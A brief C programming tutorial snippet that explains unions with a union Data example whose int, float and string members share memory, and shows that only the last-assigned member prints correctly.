Union in C

Union in c

//A union is a special data type available in C that allows 
//to store different data types in the same memory location. 
//You can define a union with many members, 
//but only one member can contain a value at any given time.
//Unions provide an efficient way of using the same memory 
//location for multiple-purpose.

union Data {
   int i;
   float f;
   char str[20];
};
 
int main( ) {

   union Data data;        

   data.i = 10;
   data.f = 220.5;
   strcpy( data.str, "C Programming");

   printf( "data.i : %d\n", data.i);
   printf( "data.f : %f\n", data.f);
   printf( "data.str : %s\n", data.str);
   
   // Output
data.i : 1917853763
data.f : 4122360580327794860452759994368.000000
data.str : C Programming

// i and f are corupted and the latest assigned is correct
